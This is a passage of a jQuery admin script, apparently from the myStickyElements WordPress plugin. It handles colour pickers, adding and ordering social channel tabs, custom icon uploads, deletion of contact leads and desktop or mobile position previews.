( function( $ ) {
    "use strict";
    $(document).ready(function(){
        var myOptions = {
            change: function(event, ui){
                var color_id = $(this).attr('id');
                var slug = $(this).data('slug');
                var soical_icon = $(this).data('soical-icon');

                var color_code = ui.color.toString();
                if ( color_id === 'tab_background_color'){
                    $('.mystickyelements-contact-form .mystickyelements-social-icon').css('background-color', color_code );
                }
                if ( color_id === 'tab_text_color'){
                    $('.mystickyelements-contact-form .mystickyelements-social-icon').css('color', color_code );
                }

                if ( color_id === 'minimize_tab_background_color'){
                    $('span.mystickyelements-minimize').css('background-color', color_code );
                }

                if ( typeof slug !== 'undefined' ){
                    $('.mystickyelements-social-icon.social-' + slug ).css('background', color_code );
                    social_icon_live_preview_color_css();
                }

                if ( typeof soical_icon !== 'undefined' ){
                    if ( soical_icon == 'line' ) {
                        $('.mystickyelements-social-icon.social-' + soical_icon + ' svg .fil1' ).css('fill', color_code );
                    } else if (  soical_icon == 'qzone' ) {
                        $('.mystickyelements-social-icon.social-' + soical_icon + ' svg .fil2' ).css('fill', color_code );
                    } else {
                        $('.mystickyelements-social-icon.social-' + soical_icon + ' i' ).css('color', color_code );
                    }
                }
            }
        };
        $('.mystickyelement-color').wpColorPicker(myOptions);

        if ( $( "#contact-form-send-leads option:selected" ).val() === 'mail') {
            $('#contact-form-send-mail').show();
        }

        $('#contact-form-send-leads').on( 'change', function() {
            if ( $(this).val() === 'mail' ) {
                $('#contact-form-send-mail').show();
            } else {
                $('#contact-form-send-mail').hide();
            }
        });

        $(document).on("change", "input[name='contact-form[direction]']", function(){
            if($(this).val() == "RTL") {
                $(".mystickyelements-fixed").addClass("is-rtl");
            } else {
                $(".mystickyelements-fixed").removeClass("is-rtl");
            }
        });
        

        $('.button-contact-popup-disable').on('click',function(){
            $( '#myStickyelements-preview-contact' ).hide();
            $( '.mystickyelements-contact-form' ).addClass( 'mystickyelements-contact-form-hide' );
            $(".turn-off-message").css('display','block');
            $(".contact-form-description").css('display','none');
            $('#contactform-status-popup').hide();
            $('#mystickyelement-contact-popup-overlay').hide();
        });



        $( '#myStickyelements-contact-form-enabled' ).on( 'click', function() {
            if( $(this).prop("checked") == true ){
                
                $(".turn-off-message").css('display','none');
                $(".contact-form-description").css('display','block');
                $( '#myStickyelements-preview-contact' ).show();
                $( '.mystickyelements-contact-form' ).removeClass( 'mystickyelements-contact-form-hide' );
            }else {
                $('#contactform-status-popup').show();
                $('#mystickyelement-contact-popup-overlay').show();
                $('.mystickyelements-disable-content-wrap').hide();
            }
             myStickyelements_mobile_count();
             mystickyelements_disable_section( 'mystickyelements-tab-contact-form', 'myStickyelements-contact-form-enabled' );
        });

        /* Social Chanel Privew */
        $(document).on( "click", ".social-channel-view-desktop", function(e){               
            var social_channel_tab_desktop = $(this).data( 'social-channel-view' );
            if($(this).prop("checked") == false ){
                $('ul.myStickyelements-preview-ul li.mystickyelements-social-' + social_channel_tab_desktop).removeClass('element-desktop-on');
            } else {
                $('ul.myStickyelements-preview-ul li.mystickyelements-social-' + social_channel_tab_desktop).addClass('element-desktop-on');
            }
            mystickyelements_border_radius();
        });
        
        $(document).on( "click", ".social-channel-view-mobile", function(e){        
            var social_channel_tab_mobile = $(this).data( 'social-channel-view' );
            if($(this).prop("checked") == false ){
                $('ul.myStickyelements-preview-ul li.mystickyelements-social-' + social_channel_tab_mobile).removeClass('element-mobile-on');
            } else {
                $('ul.myStickyelements-preview-ul li.mystickyelements-social-' + social_channel_tab_mobile).addClass('element-mobile-on');
            }
            mystickyelements_border_radius();
        });

        /* Append Social Channels tab */
        $(document).on( "click" , ".social-channel",function(){ 
            var social_channel = $(this).data( 'social-channel' );
            if( social_channel.indexOf('custom') != -1 ){
                $(this).parent().parent().remove();         
            } 
            if(jQuery(this).prev().hasClass('social-checked-active')){
                jQuery(this).prev().removeClass('social-checked-active');
            }else{
                jQuery(this).prev().addClass('social-checked-active');  
            }
            var len = $(".myStickyelements-social-channels-lists input[name^='social-channels']:checked").length;

            /* Remove Social Channel */
            if($(this).prop("checked") == false){
                $('.social-channels-item[data-slug=' + social_channel +']').remove();
                $('.social-channel[data-social-channel=' + social_channel + ' ]').prop("checked", false);
                mysticky_social_channel_order();

                /* remove from preview */
                $('ul.myStickyelements-preview-ul li.mystickyelements-social-' + social_channel).remove();
                social_icon_live_preview_color_css();
                mystickyelements_border_radius();
            }

            /* When user add more than 2 then return and display upgrade now message. */
            if ( ( $('.social-channels-item').length >= 2 || len > 2 ) && jQuery(this).prev().hasClass('social-checked-active') ) {
                jQuery(this).prev().removeClass('social-checked-active');
                $('.social-channel[data-social-channel=' + social_channel + ' ]').prop("checked", false);
                $('.social-channel-popover').show().effect('shake', { times: 4 }, 1200);
                $('body,html').animate({ scrollTop:  $(".social-channel-popover").offset().top - 200 }, 800);
                return;
            }

            /* Add  Social Channel */
            if( $(this).prop("checked") == true ){
                jQuery.ajax({
                    url: ajaxurl,
                    type:'post',
                    data: 'action=mystickyelement-social-tab&social_channel=' + social_channel +'&is_ajax=true&wpnonce=' + mystickyelements.ajax_nonce,
                    success: function( data ){
                        $('.social-channels-tab').append(data);
                        $('.mystickyelement-color').wpColorPicker(myOptions);
                        mysticky_social_channel_order();
                        mystickyelements_border_radius();
                        social_icon_live_preview_color_css();
                        
						$('.social-channel-fontawesome-icon').select2({
                                                    allowClear: true,
                                                    templateSelection: stickyelement_iconformat,
                                                    templateResult: stickyelement_iconformat,
                                                    allowHtml: true
                                                });
                    },
                });

            }
            
            social_channel_order();
        });
		jQuery(document).on('click','.social-channel-popover .premio-upgrade-dismiss-btn',function(e){
			$('.social-channel-popover').hide();			
		});
		
		
        var custom_channel_length   = $('#myStickyelements-custom-channel-lenght').val();
        var custom_shortcode_length = $('#myStickyelements-custom-shortcode-lenght').val();
        
        jQuery(document).on('click','#myStickyelements-add-custom-social',function(e){
            e.preventDefault();
            custom_channel_length++;
            /* When user add more than 2 then return and display upgrade now message.  */
            var flag = morethen_channel_validation( 'custom_channel' );
            if(flag == false){
                return;
            }
            mystickyelement_social_tab_ajax( 'custom_channel' , custom_channel_length );
            $('#myStickyelements-custom-channel-lenght').val( custom_channel_length );
            
            var social_list = '<li data-search="custom_channel_'+custom_channel_length+'"><label><span class="social-channels-list social-custom_channel_'+custom_channel_length+' social-checked-active" style="background-color: #7761DF;"><i class="fas fa-cloud-upload-alt"></i></span><input type="checkbox" data-social-channel="custom_channel_'+custom_channel_length+'" class="social-channel" name="social-channels[custom_channel_'+custom_channel_length+']" value="1" checked="checked" > </label><span class="social-tooltip-popup">Custom Channel</span></li>';

            $('.myStickyelements-social-channels-lists').append( social_list );
            $('.social-custom_channel_'+custom_channel_length+' span').addClass('social-checked-active');
            social_channel_order();
            $("html, body").animate({ scrollTop: 50 }, "slow");
        });
        
        jQuery(document).on('click','#myStickyelements-add-custom-shortcode',function(e){
            e.preventDefault();
            custom_shortcode_length++; 
            /* When user add more than 2 then return and display upgrade now message.  */
            var flag = morethen_channel_validation( 'custom_shortcode' );
            if(flag == false){
                return;
            }
            mystickyelement_social_tab_ajax( 'custom_shortcode' , custom_shortcode_length );
            $('#myStickyelements-custom-shortcode-lenght').val(custom_shortcode_length);

            var shortcode_list = '<li data-search="custom_shortcode_'+custom_shortcode_length+'"><label><span class="social-channels-list social-custom_shortcode_'+custom_shortcode_length+' social-checked-active" style="background-color: #7761DF;"><i class="fas fa-code"></i></span><input type="checkbox" data-social-channel="custom_shortcode_'+custom_shortcode_length+'" class="social-channel" name="social-channels[custom_shortcode_'+custom_shortcode_length+']" value="1" checked="checked" ></input> </label><span class="social-tooltip-popup">Custom Shortcode</span></li>';
            $('.myStickyelements-social-channels-lists').append( shortcode_list );
            social_channel_order();
            $("html, body").animate({ scrollTop: 50 }, "slow");
        });
        
        
        function morethen_channel_validation( social_channel ) {
            /* When user add more than 2 then return and display upgrade now message.  */
            if( $(".social-channel-popover").length ) {             
                var len = $(".myStickyelements-social-channels-lists input[name^='social-channels']:checked").length;
                if ( $('.social-channels-item').length >= 2 || len > 2 ) {
                    $('.social-channel[data-social-channel='+ social_channel +']').prop("checked", false);
                    $('.social-channel-popover').show().effect('shake', {times: 4}, 1200);
                    $('body,html').animate({ scrollTop:  $(".social-channel-popover").offset().top - 200 }, 800);
                    return false;
                }
            }
        }
        
        social_channel_order();
        /* Set social channel order */
        function social_channel_order() {
            var social_channel_order = 1;
            $('.myStickyelements-social-channels-lists li input.social-channel:checked').each(function(){
                $(this).parent().parent().css( 'order', social_channel_order++);
            });
            
            $(".myStickyelements-social-channels-lists li input.social-channel:not(:checked)").each(function () {
                $(this).parent().parent().css( 'order', social_channel_order++);
            });
			
		}
        
        
        function mystickyelement_social_tab_ajax( social_channel , channel_key ){
            /* When user add more than 2 then return and display upgrade now message. */
            
            
            if ( $('.social-channels-item').length >= 2 ) {             
                $('.social-channel[data-social-channel=' + social_channel + ' ]').prop("checked", false);
                $('.social-channel-popover').show().effect('shake', { times: 4 }, 1200);
                $('body,html').animate({ scrollTop:  $(".social-channel-popover").offset().top - 200 }, 800);
                return;
            }
            
            jQuery.ajax({
                url: ajaxurl,
                type:'post',
                data: 'action=mystickyelement-social-tab&social_channel=' + social_channel + '&channel_key=' + channel_key + '&is_ajax=true&wpnonce=' + mystickyelements.ajax_nonce,
                success: function( data ){
                    $('.social-channels-tab').append(data);
                    $('.mystickyelement-color').wpColorPicker(myOptions);
                    mysticky_social_channel_order();
                    mystickyelements_border_radius();
                    social_icon_live_preview_color_css();
                    $('.social-channel-fontawesome-icon').select2({
                                                allowClear: true,
                                                templateSelection: stickyelement_iconformat,
                                                templateResult: stickyelement_iconformat,
                                                allowHtml: true
                                            });
                },
            });
        }

        /* Social Channel Delete */
        $(document).on( "click", '.social-channel-close,.close-tooltip .tooltiptext a', function(e){
            e.preventDefault();
            var chanel_name = $(this).data('slug');
            //$('.social-channels-item[data-slug=' + chanel_name +']').remove();
            $('.social-channels-item[data-slug=' + chanel_name +']').slideUp("slow",function(){
                $(this).remove();});
            $('.social-channel[data-social-channel=' + chanel_name + ' ]').prop("checked", false);
            $('.social-channel[data-social-channel=' + chanel_name + ' ]').prev().removeClass('social-checked-active');
            mysticky_social_channel_order();
            mystickyelements_border_radius();
            
            
            
            /* remove from preview */
            $('ul.myStickyelements-preview-ul li.mystickyelements-social-' + chanel_name).remove();
            social_icon_live_preview_color_css();
            
            /* remove custom channel from ul li list*/
            if( chanel_name.indexOf('custom') != -1 ){
                $('.social-channel').each(function(){
                    var social_channel = $(this).data( 'social-channel' );
                    if( chanel_name == social_channel ){
                        $(this).parent().parent().remove(); 
                    }
                }); 
            }
            social_channel_order();
        });
        
        jQuery('.social-channels-tab').sortable({
            items:'.social-channels-item',
            placeholder: "mystickyelements-state-highlight social-channels-item",
            handle: ".mystickyelements-move-handle",
            cursor:'move',
            scrollSensitivity:40,
            stop:function(event,ui){
                mysticky_social_channel_order();
                mystickyelements_border_radius();
            }
        });
        
        $(document).on( "click", '.myStickyelements-channel-view .social-setting', function(e){
            var chanel_name = $(this).data('slug');
            $('.social-channels-item[data-slug=' + chanel_name +'] .social-channel-setting').slideToggle();
        });


        /* Media Upload */
        $(document).on( "click", '.social-custom-icon-upload-button', function(e){      
            e.preventDefault();
            var social_channel = $(this).data('slug');
            var image = wp.media({
                    title: 'Upload Image',
                        multiple: false
                    }).open()
                .on('select', function(e){
                    var uploaded_image = image.state().get('selection').first();
                    var image_url = uploaded_image.toJSON().url;
                    $('#social-channel-' + social_channel + '-custom-icon').val(image_url);
                    $('#social-channel-' + social_channel + '-icon').show();
                    $('#social-channel-' + social_channel + '-icon').parent().addClass( 'myStickyelements-custom-image-select' );
                    $('#social-channel-' + social_channel + '-custom-icon-img').attr( 'src', image_url);
                    var $social_icon_text = $('#social-' + social_channel + '-icon_text').val();
                    var $social_icon_text_size = $('#social-' + social_channel + '-icon_text_size').val();
                    var social_tooltip_text = social_channel.replace( '_', ' ' );
                    if( $social_icon_text != '' ) {
                        var $social_icon_text_size_style = 'display: block;font-size: '+ $social_icon_text_size + 'px;';
                    } else {
                        var $social_icon_text_size_style = 'display: none;font-size: '+ $social_icon_text_size + 'px;';
                    }
                    if( $( 'input[name="social-channels-tab[' + social_channel + '][stretch_custom_icon]"]' ).prop("checked") == true ) {
                        var stretch_custom_class = 'mystickyelements-stretch-custom-img';
                    } else {
                        var stretch_custom_class = '';
                    }
                    $('#mystickyelements-' + social_channel + '-custom-icon').prop("selectedIndex", 0).trigger('change');
                    $('ul.myStickyelements-preview-ul li span.social-' + social_channel + ' i').hide();
                    $('ul.myStickyelements-preview-ul li span.social-' + social_channel + ' img').remove();
                    $('ul.myStickyelements-preview-ul li span.social-' + social_channel + ' .mystickyelements-icon-below-text').remove();
                    $('ul.myStickyelements-preview-ul li span.social-' + social_channel).append( '<img class="' + stretch_custom_class + '" src="' + image_url + '" width="40" height="40"/><span class="mystickyelements-icon-below-text" style="'+ $social_icon_text_size_style +'">'+ $social_icon_text +'</span>' );

                    $('.social-channels-item .social-channel-input-box .social-' + social_channel + ' i').hide();
                    $('.social-channels-item .social-channel-input-box .social-' + social_channel ).append('<img src="' + image_url + '" width="25" height="25"/>');
                    if( $( 'input[name="social-channels-tab[' + social_channel + '][stretch_custom_icon]"]' ).prop("checked") == true ) {
                        $( '.social-' + social_channel + ' img' ).addClass('mystickyelements-stretch-custom-img');
                    } else {
                        $( '.social-' + social_channel + ' img' ).removeClass('mystickyelements-stretch-custom-img');
                    }
            });
        });
        $(document).on( "click", '.social-channel-icon-close', function(e){     
            var chanel_name = $(this).data('slug');
            $('#social-channel-' + chanel_name + '-custom-icon').val('');
            $('#social-channel-' + chanel_name + '-icon').hide();
            $('#social-channel-' + chanel_name + '-icon').parent().removeClass( 'myStickyelements-custom-image-select' );
            $('#social-channel-' + chanel_name + '-custom-icon-img').attr( 'src', '');
            $('ul.myStickyelements-preview-ul li span.social-' + chanel_name + ' i').show();
            $('ul.myStickyelements-preview-ul li span.social-' + chanel_name + ' img').remove();
            $('.social-channels-item .social-channel-input-box .social-' + chanel_name ).append( '<i class="fas fa-cloud-upload-alt"></i>' );
            $('ul.myStickyelements-preview-ul li span.social-' + chanel_name ).append( '<i class="fas fa-cloud-upload-alt"></i>' );
            $('.social-channels-item .social-channel-input-box .social-' + chanel_name + ' i').show();
            $('.social-channels-item .social-channel-input-box .social-' + chanel_name + ' img').remove();
        });
        $(document).on( "click", '.myStickyelements-stretch-icon-wrap input[type="checkbox"]' , function(e){
            var chanel_name = $(this).data('slug');
            $( '.social-' + chanel_name + ' img' ).toggleClass('mystickyelements-stretch-custom-img');
        });

        $('.social-channel-icon').each( function(){
            if ( $(this).children('img').attr('src') !='' ){
                $(this).show();
                $(this).parent().addClass( 'myStickyelements-custom-image-select' );
            }
        });

        /*  Delete Contact Lead*/
        jQuery(".mystickyelement-delete-entry").on( 'click', function(){
            var deleterowid = $( this ).attr( "data-delete" );
            var confirm_delete = window.confirm("Are you sure you want to delete Record with ID# "+deleterowid);
            if (confirm_delete == true) {
                jQuery.ajax({
                    type: 'POST',
                    url: ajaxurl,
                    data: {"action": "mystickyelement_delete_db_record","ID": deleterowid, delete_nonce: jQuery("#delete_nonce").val(),"wpnonce": mystickyelements.ajax_nonce},
                    success: function(data){
                        location.href = window.location.href;
                    },
                    error: function(XMLHttpRequest, textStatus, errorThrown) {
                        alert("Status: " + textStatus); alert("Error: " + errorThrown);
                    }
                });
            }
            return false;
        });

        jQuery("#mystickyelement_delete_all_leads").on( 'click', function(){
            var confirm_delete = window.confirm("Are you sure you want to delete all Record from the database?");
            if (confirm_delete == true) {
                jQuery.ajax({
                    type: 'POST',
                    url: ajaxurl,
                    data: {"action": "mystickyelement_delete_db_record", 'all_leads': 1 , delete_nonce: jQuery("#delete_nonce").val(),"wpnonce": mystickyelements.ajax_nonce},
                    success: function(data){
                        location.href = window.location.href;
                    },
                    error: function(XMLHttpRequest, textStatus, errorThrown) {
                        alert("Status: " + textStatus); alert("Error: " + errorThrown);
                    }
                });
            }
            return false;
        });

        /* Desktop Position */
        jQuery("input[name='general-settings[position]'").on( 'click', function(){
            if ( $(this).val() === 'left'){
                $('.myStickyelements-preview-screen .mystickyelements-fixed').addClass('mystickyelements-position-left');
                $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-bottom');
                $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-right');

                $('span.mystickyelements-minimize').removeClass('minimize-position-right');
                $('span.mystickyelements-minimize').removeClass('minimize-position-bottom');
                $('span.mystickyelements-minimize').addClass('minimize-position-left');
                $( '.mystickyelements-minimize.minimize-position-left' ).html('&larr;');                

                $( '.myStickyelements-position-on-screen-wrap' ).hide();
                $( '.myStickyelements-position-desktop-wrap' ).show();
            }
            if ( $(this).val() === 'right'){
                $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-left');
                $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-bottom');
                $('.myStickyelements-preview-screen .mystickyelements-fixed').addClass('mystickyelements-position-right');

                $('span.mystickyelements-minimize').removeClass('minimize-position-left');
                $('span.mystickyelements-minimize').removeClass('minimize-position-bottom');
                $('span.mystickyelements-minimize').addClass('minimize-position-right');
                $( '.mystickyelements-minimize.minimize-position-right' ).html('&rarr;')                

                $( '.myStickyelements-position-on-screen-wrap' ).hide();
                $( '.myStickyelements-position-desktop-wrap' ).show();
            }
            if ( $(this).val() === 'bottom'){
                $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-left');
                $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-right');
                $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-top');
                $('.myStickyelements-preview-screen .mystickyelements-fixed').addClass('mystickyelements-position-bottom');

                $('span.mystickyelements-minimize').removeClass('minimize-position-left');
                $('span.mystickyelements-minimize').removeClass('minimize-position-right');
                $('span.mystickyelements-minimize').removeClass('minimize-position-top');
                $('span.mystickyelements-minimize').addClass('minimize-position-bottom');
                $( '.mystickyelements-minimize.minimize-position-bottom' ).html('&darr;');              

                $( '.myStickyelements-position-on-screen-wrap' ).show();
                $( '.myStickyelements-position-desktop-wrap' ).hide();
            }
            mystickyelements_border_radius();
        });
        /* NEW CUSTOM FIELD POPUP */
        
        $( '.mystickyelements-add-custom-fields a' ).on( 'click', function () {
            $( '#contact_form_field_open' ).css('display','block');
            $( 'body' ).addClass( 'contact-form-popup-open' );
        });
        
        $( '.contact-form-dropdfown-close' ).on( 'click', function () {
            $('#contact_form_field_open').hide();
            $( 'body' ).removeClass( 'contact-form-popup-open' );
        });
        
        $( document ).on( 'mouseup',  function( event ) {
            if ( !$( event.target ).closest( ".custom-field-popup-open,.contact-form-dropdown-popup, .contact-form-dropdown-open, .mystickyelements-add-custom-fields a, .contact-form-setting-popup-open" ).length ) {
                $( '#contact_form_field_open' ).hide();
                $( '.contact-form-dropdown-open' ).hide();
                $( 'body' ).removeClass( 'contact-form-popup-open' );
            }
        });
        /* Mobile Position */
        jQuery("input[name='general-settings[position_mobile]'").on( 'click', function(){
            if ( $(this).val() === 'left' || $(this).val() === 'right'){
                jQuery( '.myStickyelements-position-mobile-wrap' ).show();
            }
            if ( $(this).val() === 'bottom' || $(this).val() === 'top'){
                jQuery( '.myStickyelements-position-mobile-wrap' ).hide();
            }
            if( $( '.myStickyelements-preview-screen' ).hasClass( 'myStickyelements-preview-mobile-screen' ) == true ) {
                if ( $(this).val() === 'left'){
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').addClass('mystickyelements-position-mobile-left');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-right');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-bottom');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-top');

                    $('span.mystickyelements-minimize').removeClass('minimize-position-mobile-right');
                    $('span.mystickyelements-minimize').removeClass('minimize-position-mobile-bottom');
                    $('span.mystickyelements-minimize').removeClass('minimize-position-mobile-top');
                    $('span.mystickyelements-minimize').addClass('minimize-position-mobile-left');

                    jQuery( '#myStickyelements_mobile_templete_desc' ).hide();
                }
                if ( $(this).val() === 'right'){
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-left');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').addClass('mystickyelements-position-mobile-right');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-bottom');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-top');

                    $('span.mystickyelements-minimize').removeClass('minimize-position-mobile-left');
                    $('span.mystickyelements-minimize').removeClass('minimize-position-mobile-bottom');
                    $('span.mystickyelements-minimize').removeClass('minimize-position-mobile-top');
                    $('span.mystickyelements-minimize').addClass('minimize-position-mobile-right');

                    jQuery( '#myStickyelements_mobile_templete_desc' ).hide();
                }
                if ( $(this).val() === 'bottom'){
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-left');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-right');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-top');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').addClass('mystickyelements-position-mobile-bottom');

                    $('span.mystickyelements-minimize').removeClass('minimize-position-mobile-left');
                    $('span.mystickyelements-minimize').removeClass('minimize-position-mobile-right');
                    $('span.mystickyelements-minimize').removeClass('minimize-position-mobile-top');
                    $('span.mystickyelements-minimize').addClass('minimize-position-mobile-bottom');

                    if (jQuery('#myStickyelements-inputs-templete option:selected').val() != 'default') {
                        jQuery( '#myStickyelements_mobile_templete_desc' ).show();
                        $('#myStickyelements_mobile_templete_desc').fadeOut(500);
                        $('#myStickyelements_mobile_templete_desc').fadeIn(500);
                    } else {
                        jQuery( '#myStickyelements_mobile_templete_desc' ).hide();
                    }
                }
                if ( $(this).val() === 'top'){
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-left');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-right');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-bottom');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').addClass('mystickyelements-position-mobile-top');

                    $('span.mystickyelements-minimize').removeClass('minimize-position-mobile-left');
                    $('span.mystickyelements-minimize').removeClass('minimize-position-mobile-right');
                    $('span.mystickyelements-minimize').removeClass('minimize-position-mobile-bottom');
                    $('span.mystickyelements-minimize').addClass('minimize-position-mobile-top');

                    if (jQuery('#myStickyelements-inputs-templete option:selected').val() != 'default') {
                        jQuery( '#myStickyelements_mobile_templete_desc' ).show();
                        $('#myStickyelements_mobile_templete_desc').fadeOut(500);
                        $('#myStickyelements_mobile_templete_desc').fadeIn(500);
                    } else {
                        jQuery( '#myStickyelements_mobile_templete_desc' ).hide();
                    }
                }
            }
            mystickyelements_border_radius();
        });
        /*Icon text live preivew*/
        $(document).on( "keyup", '.myStickyelements-icon-text-input' , function(e){     
            var myStickyelements_icon_text = $( this ).val();
            var myStickyelements_icon_social = $( this ).data( 'icontext' );
            if( jQuery("#myStickyelements-inputs-templete").val() == 'default' ) {
                $( '.social-' + myStickyelements_icon_social + ' .mystickyelements-icon-below-text' ).show();
            }
            $( '.social-' + myStickyelements_icon_social + ' .mystickyelements-icon-below-text' ).text( myStickyelements_icon_text );
            if( myStickyelements_icon_text == '' ) {
                $( '.social-' + myStickyelements_icon_social + ' .mystickyelements-icon-below-text' ).hide();
            }
        } );
        /*Icon text size live preivew*/     
        $(document).on( "keyup", '.myStickyelements-icon-text-size' , function(e){
            var myStickyelements_icon_text_size = $( this ).val();
            var myStickyelements_icon_social = $( this ).data( 'icontextsize' );
            $( '.social-' + myStickyelements_icon_social + ' .mystickyelements-icon-below-text' ).css( 'font-size', myStickyelements_icon_text_size + 'px' );
            if( myStickyelements_icon_text_size == 0 ) {
                $( '.social-' + myStickyelements_icon_social + ' .mystickyelements-icon-below-text' ).css( 'font-size', '' );
            }
        } );
        /*Contact text live preivew*/       
        $(document).on( "keyup", '[name="contact-form[text_in_tab]"]' , function(e){
            var myStickyelements_text_in_tab = $( this ).val();
            $( '.mystickyelements-contact-form .mystickyelements-social-icon' ).html( '<i class="far fa-envelope"></i> ' + myStickyelements_text_in_tab );          
        } );

        jQuery(".myStickyelements-preview-window ul li").on( 'click', function(){
            $('.myStickyelements-preview-window ul li').removeClass('preview-active');
            if ( $(this).hasClass('preview-desktop') === true ) {
                $(this).addClass('preview-active');
                $('.myStickyelements-preview-screen').removeClass('myStickyelements-preview-mobile-screen');

                $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-left');
                $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-right');
                $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-bottom');
                $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-top');

                jQuery( '#myStickyelements_mobile_templete_desc' ).hide();

                if ( jQuery( 'input[name="contact-form[desktop]"]' ).prop( 'checked' ) == true ) {
                    jQuery( '#myStickyelements-preview-contact' ).addClass( 'element-desktop-on' );
                } else {
                    jQuery( '#myStickyelements-preview-contact' ).removeClass( 'element-desktop-on' );
                }
            }

            if ( $(this).hasClass('preview-mobile') === true ) {
                $(this).addClass('preview-active');
                $('.myStickyelements-preview-screen').addClass('myStickyelements-preview-mobile-screen');
                $("input[name='general-settings[position_mobile]']:checked").val()
                if ( $("input[name='general-settings[position_mobile]']:checked").val() === 'left'){
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').addClass('mystickyelements-position-mobile-left');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-right');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-bottom');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-top');
                }
                if ( $("input[name='general-settings[position_mobile]']:checked").val() === 'right'){
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-left');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').addClass('mystickyelements-position-mobile-right');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-bottom');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-top');
                }
                if ( $("input[name='general-settings[position_mobile]']:checked").val() === 'bottom'){
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-left');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-right');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-top');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').addClass('mystickyelements-position-mobile-bottom');
                }
                if ( $("input[name='general-settings[position_mobile]']:checked").val() === 'top'){
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-left');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-right');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').removeClass('mystickyelements-position-mobile-bottom');
                    $('.myStickyelements-preview-screen .mystickyelements-fixed').addClass('mystickyelements-position-mobile-top');
                }

                if ( jQuery( "#myStickyelements-inputs-templete option:selected" ).val() != 'default' && ( jQuery('input[name="general-settings[position_mobile]"]:checked').val() == 'bottom' || jQuery('input[name="general-settings[position_mobile]"]:checked').val() == 'top' ) ) {
                    jQuery( '#myStickyelements_mobile_templete_desc' ).show();
                    $('#myStickyelements_mobile_templete_desc').fadeOut(500);
                    $('#myStickyelements_mobile_templete_desc').fadeIn(500);
                } else {
                    jQuery( '#myStickyelements_mobile_templete_desc' ).hide();
                }

                if ( jQuery( 'input[name="contact-form[mobile]"]' ).prop( 'checked' ) == true && $( '#myStickyelements-contact-form-enabled' ).prop("checked") == true ) {
                    jQuery( '#myStickyelements-preview-contact' ).addClass( 'element-mobile-on' );
                } else {
                    jQuery( '#myStickyelements-preview-contact' ).removeClass( 'element-desktop-on' );
                    jQuery( '#myStickyelements-preview-contact' ).removeClass( 'element-mobile-on' );
                }
            }
            mystickyelements_border_radius();
        });
        
        function mysticky_social_channel_order(){
            var social_count = 1;
            $('.social-channels-item').each( function(){
                /* remove from preview */
                $('ul.myStickyelements-preview-ul li.mystickyelements-social-' + $(this).data('slug')).remove();
            });

            $('.social-channels-item').each( function(){
                var social_channel = $(this).data('slug');
                social_count = ("0" + social_count).slice(-2);
                $('#social-' + social_channel  + '-number').html(social_count);
                social_count++;

                var $social_icon = $('.social-channel-input-box-section .social-'+social_channel).html();
                var $social_custom_icon = $('.social-channel-setting #social-channel-'+ social_channel + '-icon img').attr( 'src');

                var $social_custom_fontawe_icon = $('#mystickyelements-'+ social_channel + '-custom-icon').val();
                if ( typeof $social_custom_icon !== 'undefined' && $social_custom_fontawe_icon !== '') {
                    $social_icon = '<i class="' + $social_custom_fontawe_icon + '"></i>';
                }else if ( typeof $social_custom_icon !== 'undefined' && $social_custom_icon !== '' ) {
                    $social_icon = '<img src="' + $social_custom_icon + '"/>';
                }

                var $social_bg_color = $('#social-' + social_channel + '-bg_color').val();
